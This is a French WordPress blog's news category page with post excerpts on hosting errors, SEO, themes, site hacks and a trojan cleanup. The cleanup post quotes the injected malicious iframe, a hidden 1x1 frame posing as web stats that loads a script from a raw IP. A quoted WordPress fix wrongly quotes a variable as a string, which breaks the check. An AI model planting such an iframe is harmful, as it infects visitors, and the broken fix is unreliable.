Articles de la catégorie ‘Actualités’

News sur les prochaines versions de WordPress et sur les utilisateurs et utilisation de WordPress

Carla Bruni Sarkozi se moque de l’open source

Le nouveau site de Carla Bruni Sakozi est fait avec WordPress mais sans le dire : on ne trouve de référence à WordPress sur aucune des pages du site (où alors je ne l’ai pas trouvé) alors que l’utilisation de WordPress est manifeste :

  • L’adresse http://www.carlabrunisarkozy.org/wp-admin renvoie vers un écran d’administration de WordPress.
  • Le code source du thème cite WordPress (voir par exemple la balise  <meta name=« generator » content=« WordPress 2.8.4 » />)

Je me suis plongé dans le contrat de licence de WordPress pour voir si ce lien était obligatoire mais je n’ai rien trouvé à ce sujet. WordPress est consistant par rapport à la GPL  mais on ne peut pas en dire autant de la première dame de France.

Voilà ce qui me choque dans son utilisation de WordPress :

  • Elle a du payer une fortune une agence qui est citée dans les crédits et alors qu’elle utilise un truc gratuit et libre elle ne laisse même pas un petit lien pour sa reconnaissance.
  • Il y a des CGU (conditions générales d’utilisation) sur son site qui sont aussi longue qu’un roman de Proust et pomper l’air des autres quand on n’en manque pas soi-même ce n’est pas convenable à mon avis.
  • Sur la page « crédit » le moindre photographe utilisé sur le site est cité très correctement. Pourquoi ne pas aussi reconnaitre que WordPress a été utilisé dans l’affaire ?
  • Pour la femme d’un gars qui nous barbe avec ses entraves à la liberté des internautes (cf HADOPI) elle ne donne vraiment pas le bon exemple au niveau du respect des droits d’auteurs.

Peut-être que je me trompe avec cet article. Que pensez-vous de ce comportement ?

Page toute blanche chez 1&1 sur un WordPress

Le site de ma femme sur les anniversaires est hébergé chez 1&1 et sans raison évidente, l’adresse du blog affichait une page carrément blanche.

1&1

1&1

J’ai d’abord cru que 1&1 avait encore une fois bloqué l’accès à ce site qui reçoit peut-être trop de visiteurs mais dans l’interface d’administration de la base chez 1&1 la statut est bien à disponible (voir mon précédent article sur Error establishing a database connection)

J’ai ensuite regardé le code source de la page et il était lui aussi absolument vierge.

(suite…)

Problème d’URL canonique

Les URLs canoniques sont un mystère pour moi mais cela fait quelques semaines que dans les pages de résultats de Google, c’est l’url de la page « a propos » de  mon site sur les piscines naturelles qui apparait à la place de mon nom de domaine.

Concrètement sur des requêtes importantes pour moi comme « piscine écologique » je trouve l’URL http://piscines-ecologiques.net/a-propos/ au lieu de http://piscines-ecologiques.net/ dans les résultats de Google.

snippet piscine naturelle

snippet piscine naturelle

Par contre ce qui est encore plus bizarre c’est que les contenu de ces 2 URL sont identiques et que la vrai page « à propos » de mon site sur les piscines est inaccessible. Par ailleurs mon site ne semble pas du tout pénalisé dans les résultats de Google et le snippet qui apparait est bien celui qui me convient.

J’ai trouvé le coupable : c’est le plugin All In One SEO que Mattt Cutts recommande dans les commentaires sur sa récente présentation de WordPress au dernier WordCamp de San Francisco.

(suite…)

1&1 : Error establishing a database connection

Le mercredi 13 à partir du début de l’après midi.

Voici ce que l’on pouvait lire à la place de mon site hébergé sur un mutualisé chez 1&1 :

Error establishing a database connection

Jeudi matin 7h30.

Je fais un petit enquête et découvre que Photofloue a eu à peu près le même problème.

Jeudi matin  7 heure 55.

J’envoie ce mail au support d’1&1 : (suite…)

Cheval de troie JS:Packed-T [trj] et malware ‘HTML/Iframe-inf’

Cheval de Troie

Cheval de Troie

J’ai un site qui a été infecté par ce couple d’emmerdement juste avant le WE du premier Mai.

Le symptôme :

Les anti-virus de vos visiteurs vont se mettre à clignoter avec des messages citant ces 2 coupables :

  • Cheval de troie JS:Packed-T [trj]
  • Programme malveillant  ‘HTML/Iframe-inf’

Il me semble que ces 2 problèmes ont une seule solution.

J’ai trouvé ceci dans le code source de la page infestée :

<!-- Web Stats -->
<iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe>
<!-- End Web Stats -->

D’après Field Marshall il s’agit simplement d’une ligne de texte qui s’est introduite à la fin des fichiers index.php. Field Marshall indique des méthodes basées sur des scripts à lancer sur une console pour chasser et éradiquer le problème.

De mon coté, cela me rappelle quelque chose et j’ai déjà été victime d’un troyen. C’était wp-stat et ça ressemble beaucoup à JS:Packed. Je vous recommande la lecture de cet article d’ailleurs.

J’ai commencé par éradiquer la chaine contenant le terme « iframe » avec une recherche dans les sources des derniers articles publiés. (suite…)

Thème WordPress Renegade II

theme-thumb_renegade-ii

Voilà un thème dans l’air du temps avec un bandeau sombre qui s’étale dans le fond sur toute la largeur de l’écran.

Le haut de la barre latérale contient une boite « ajaxisée » avec des onglets pour atteindre les catégories ou le nuage de tags du site. Ce qui est particulièrement bien avec cet onglet qui masque le nuage de tags c’est qu’au niveau référencement du nuage de tags vous ne perdez rien, c’est exactement comme s’il apparaissait sur toutes les pages (visualisez le code source d’une page de la démo du thème pour vous en convaincre) et par contre vous déchargez visuellement un peu la colonne latérale.

Page du thème : chez FrostPress.

Démonstration : la VO (site de l’auteur) et la VF.

Téléchargement : Renegade-II-fr.zip [ téléchargements]
(suite…)

Problème avec la gestion des images dans WordPress 2.7.1

Voici me message d’erreur que j’ai quand je télécharge des images dans un de mes blog :
Warning: array_key_exists() [function.array-key-exists]: The first argument should be either a string or an integer in.../wp-admin/includes/media.php on line 736

La solution est donnée par emilb dans cette discussion :
Editer le fichier /wp-admin/media.php. Descendez jusqu’à la ligne 736 et ensuite changer
if ( !array_key_exists($checked, $alignments) )
en
if ( !array_key_exists('$checked', $alignments) )
(suite…)

Encore hacké par des turcs !

J’avais déjà eu un tour du même genre en Novembre 2007. Hier voilà ce que l’on pouvait voir sur 4 de mes sites qui partagent le même compte chez OVH :

WordPress Hacked

WordPress Hacked

Bon eh bien comme d’habitude, ce n’est pas très drôle mais ça forge les caractères ces aventures.

Je remercie au passage Diévochka de Classical Network et Xavier de m’avoir prévenu très vite du problème.

Cette foi-ci je n’ai pas fait les même erreurs que la dernière foi c’est à dire paniquer et vouloir, à tout pris, remettre en ligne le site le plus vite possible. (suite…)

Google Insight for search

Voici ma découverte du jour. Alors que j’utilisais, comme assez souvent, Google Trends, j’ai vu qu’il existait un nouveau lien vers Google Insight for Search. Je ne suis pas le premier à en parler puisque Zorgloob l’avait déjà mentionné dès Aout 2008.

Cet outil est vraiment supérieur à Google Trends en ce qu’il permet :

  • De filtrer les résultats pour un pays donné.
  • De filtrer pour un domaine particulier.
  • De trouver mieux les autres mot clefs du domaine
  • D’obtenir des courbes précises sur des recherches plus fines que celles qui étaient indiquées dans  Google Trends.

Exemple :

(suite…)

Error 500 – Internal server error

Error 500 – Internal server error

Un problème inattendu est survenu.
Veuillez réessayer ultérieurement.

J’ai trouvé la solution chez blogityourelf, il s’agit d’une histoire de version de php. Chez 1&1 on est encore dans la version 4 de php alors que WordPress 2.7.1 et ses plugins ont besoin de php 5. (suite…)